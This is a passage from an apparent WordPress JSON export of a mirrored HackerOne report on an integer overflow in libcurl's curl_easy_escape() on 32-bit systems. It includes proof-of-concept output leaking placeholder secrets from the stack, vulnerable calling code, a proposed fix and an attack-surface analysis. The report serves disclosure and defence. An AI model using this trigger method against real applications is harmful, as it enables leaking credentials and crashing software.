\\&#8221;API_KEY=sk-1234567890abcdef\\&#8221;\\n  cookie:  \\&#8221;session=SENSITIVE_COOKIE_VALUE\\&#8221;\\n  input:   \\&#8221;XXXXXXXXXXXXXXX\\&#8221; (16 bytes at 0xffe91f05)\\n\\nCalling curl_easy_escape with length=200 on 16-byte buffer&#8230;\\nThis reads 184 bytes past our buffer into the stack!\\n\\nGot result: 410 bytes\\nLeaked data (URL-encoded) (300 bytes):\\n  0000: 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 25  |XXXXXXXXXXXXXXX%|\\n  0010: 30 30 73 65 73 73 69 6f 6e 25 33 44 53 45 4e 53  |00session%3DSENS|\\n  0020: 49 54 49 56 45 5f 43 4f 4f 4b 49 45 5f 56 41 4c  |ITIVE_COOKIE_VAL|\\n  0030: 55 45 25 30 30 41 50 49 5f 4b 45 59 25 33 44 73  |UE%00API_KEY%3Ds|\\n  0040: 6b 2d 31 32 33 34 35 36 37 38 39 30 61 62 63 64  |k-1234567890abcd|\\n  0050: 65 66 25 30 30 53 45 43 52 45 54 5f 50 41 53 53  |ef%00SECRET_PASS|\\n  0060: 57 4f 52 44 25 33 44 68 75 6e 74 65 72 32 25 30  |WORD%3Dhunter2%0|\\n\\n=== Checking for leaked secrets ===\\n[!] LEAKED: secret1 data found!\\n[!] LEAKED: secret2 data found!\\n[!] LEAKED: cookie data found!\\n&#8220;`\\n\\n### Note\\nSimilar steps can be taken to reproduce all of the other attack scenarios mentioned in the **Demonstrated Attacks** section.\\n\\n&#8212;\\n\\n## Recommended Fix\\n\\nAdd explicit overflow and bounds checks before the vulnerable calculation in `lib\/escape.c`:\\n\\n&#8220;`c\\nchar *curl_easy_escape(CURL *data, const char *string, int inlength)\\n{\\n  size_t length;\\n  struct dynbuf d;\\n  (void)data;\\n\\n  if(!string || (inlength \\u003c 0))\\n    return NULL;\\n\\n  length = (inlength ? (size_t)inlength : strlen(string));\\n  if(!length)\\n    return curlx_strdup(\\&#8221;\\&#8221;);\\n\\n  \/* Check for potential overflow in length * 3 + 1 calculation *\/\\n  if(length \\u003e (SIZE_MAX &#8211; 1) \/ 3)\\n    return NULL;\\n\\n  curlx_dyn_init(\\u0026d, length * 3 + 1);\\n  \/\/ &#8230; rest of function\\n}\\n&#8220;`\\n\\nThis check ensures that `length * 3 + 1` will never overflow regardless of platform word size.\\n\\n**Note**: The buffer over-read vulnerability (trusting caller-provided length) is a separate issue that may require documentation updates to warn developers about proper usage, as the function signature intentionally allows passing a length different from the string&#8217;s actual size.\\n\\n&#8212;\\n\\n## Attack Surface Analysis\\n\\n### curl Command-Line Tool\\n\\nThe curl binary has **three code paths** that call `curl_easy_escape()`:\\n\\n1. **`&#8211;data-urlencode` option** (`tool_getparam.c:675`)\\n2. **Variable expansion `{{var:url}}`** (`var.c:131`)\\n3. **URL filename encoding** (`tool_operhlp.c:130`)\\n\\nHowever, testing shows the curl binary is **protected by other limits**:\\n- `CURL_MAX_INPUT_LENGTH` (8 MB) is still enforced in the tool&#8217;s file loading (`file2memory`)\\n- 32-bit address space constraints cause allocation failures before overflow threshold\\n\\n**Result:** The curl command-line tool returns \\&#8221;out of memory\\&#8221; before reaching the vulnerable code path.\\n\\n### libcurl Library (Direct API Usage)\\n\\nApplications that call `curl_easy_escape()` directly are **fully vulnerable**:\\n\\n&#8220;`c\\n\/\/ Vulnerable application code\\nchar *user_data = get_untrusted_input();\\nint user_length = get_untrusted_length();  \/\/ Attacker controls this!\\n\\n\/\/ If user_length \\u003e 715,827,882 on 32-bit: INTEGER OVERFLOW + CRASH\/LEAK\\nchar *encoded = curl_easy_escape(NULL, user_data, user_length);\\n&#8220;`\\n\\n**Attack scenarios:**\\n- Web applications processing user-uploaded data for URL encoding\\n- IoT devices (often 32-bit) processing network data\\n- Any application that passes user-controlled length to `curl_easy_escape()`\\n\\n&#8212;\\n\\n## References\\n\\n- Vulnerable file: https:\/\/github.com\/curl\/curl\/blob\/master\/lib\/escape.c\\n- Dynbuf implementation: https:\/\/github.com\/curl\/curl\/blob\/master\/lib\/curlx\/dynbuf.c\\n- Similar fixed vulnerabilities in curl:\\n  &#8211; Alt-Svc overflow: commit `c3857eca70e3bf293fff2fe0b3766cfcad1b1251`\\n  &#8211; IMAP overflow: commit `c1e3a760ba082762041a999bc98f21ea295d7cf4`\\n  &#8211; Connection cache overflow: commit `fbc4d59151dc4a56052f3a92da3682dc97b32148`\\n\\n&#8212;\\n\\n## Impact\\n\\n## Summary:\\nAffects 32-bit systems applications using libcurl&#8217;s curl_easy_escape function where a user controls the length argument.\\n\\nDemonstrated impacts include:\\n- **Information Disclosure**: Attacker can leak sensitive data from the stack (passwords, API keys, session tokens)\\n- **Denial of Service**: Guaranteed crash when using large length values\\n- **Memory Corruption**: Potential heap buffer overflow with attacker-controlled input&#8221;,&#8221;published&#8221;:&#8221;2025-12-23T21:48:58&#8243;,&#8221;modified&#8221;:&#8221;2025-12-25T16:54:56&#8243;,&#8221;type&#8221;:&#8221;hackerone&#8221;,&#8221;title&#8221;:&#8221;curl: Integer Overflow in `curl_easy_escape()` may lead to heap buffer overflow and stack memory disclosure on 32-bit platforms&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;H1:3476928&#8243;,&#8221;bulletinFamily&#8221;:&#8221;bugbounty&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;&#8221;,&#8221;sourceHref&#8221;:&#8221;&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/hackerone.com\/reports\/3476928&#8243;,&#8221;category_name&#8221;:&#8221;News&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-25T17:31:12&#8243;,&#8221;description&#8221;:&#8221;## Disclaimer\\nBoth the confirmation, and reporting of this vulnerability used AI assistance. Nonetheless, I manually reviewed all of the reported results, including its reproduction steps&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,12,117,13,33,7,11,5],"class_list":["post-32843","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-exploit","tag-hackerone","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>curl: Integer Overflow in `curl_easy_escape()` may lead to heap buffer overflow and stack memory disclosure on 32-bit platforms_H1:3476928 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=32843\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"curl: Integer Overflow in `curl_easy_escape()` may lead to heap buffer overflow and stack memory disclosure on 32-bit platforms_H1:3476928 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-25T17:31:12&#8243;,&#8221;description&#8221;:&#8221;## DisclaimernBoth the confirmation, and reporting of this vulnerability used AI assistance. Nonetheless, I manually reviewed all of the reported results, including its reproduction steps...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=32843\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-25T11:54:35+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"21 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32843#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32843\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"curl: Integer Overflow in `curl_easy_escape()` may lead to heap buffer overflow and stack memory disclosure on 32-bit platforms_H1:3476928\",\"datePublished\":\"2025-12-25T11:54:35+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32843\"},\"wordCount\":4165,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"hackerone\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_news\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=32843#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32843\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32843\",\"name\":\"curl: Integer Overflow in `curl_easy_escape()` may lead to heap buffer overflow and stack memory disclosure on 32-bit platforms_H1:3476928 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-25T11:54:35+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32843#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=32843\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32843#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"curl: Integer Overflow in `curl_easy_escape()` may lead to heap buffer overflow and stack memory disclosure on 32-bit platforms_H1:3476928\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"curl: Integer Overflow in `curl_easy_escape()` may lead to heap buffer overflow and stack memory disclosure on 32-bit platforms_H1:3476928 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=32843","og_locale":"en_US","og_type":"article","og_title":"curl: Integer Overflow in `curl_easy_escape()` may lead to heap buffer overflow and stack memory disclosure on 32-bit platforms_H1:3476928 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-25T17:31:12&#8243;,&#8221;description&#8221;:&#8221;## DisclaimernBoth the confirmation, and reporting of this vulnerability used AI assistance. Nonetheless, I manually reviewed all of the reported results, including its reproduction steps...","og_url":"https:\/\/zero.redgem.net\/?p=32843","og_site_name":"zero redgem","article_published_time":"2025-12-25T11:54:35+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"21 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=32843#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=32843"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"curl: Integer Overflow in `curl_easy_escape()` may lead to heap buffer overflow and stack memory disclosure on 32-bit platforms_H1:3476928","datePublished":"2025-12-25T11:54:35+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=32843"},"wordCount":4165,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","hackerone","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_news"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=32843#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=32843","url":"https:\/\/zero.redgem.net\/?p=32843","name":"curl: Integer Overflow in `curl_easy_escape()` may lead to heap buffer overflow and stack memory disclosure on 32-bit platforms_H1:3476928 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-25T11:54:35+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=32843#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=32843"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=32843#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"curl: Integer Overflow in `curl_easy_escape()` may lead to heap buffer overflow and stack memory disclosure on 32-bit platforms_H1:3476928"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/32843","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=32843"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/32843\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=32843"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=32843"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=32843"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}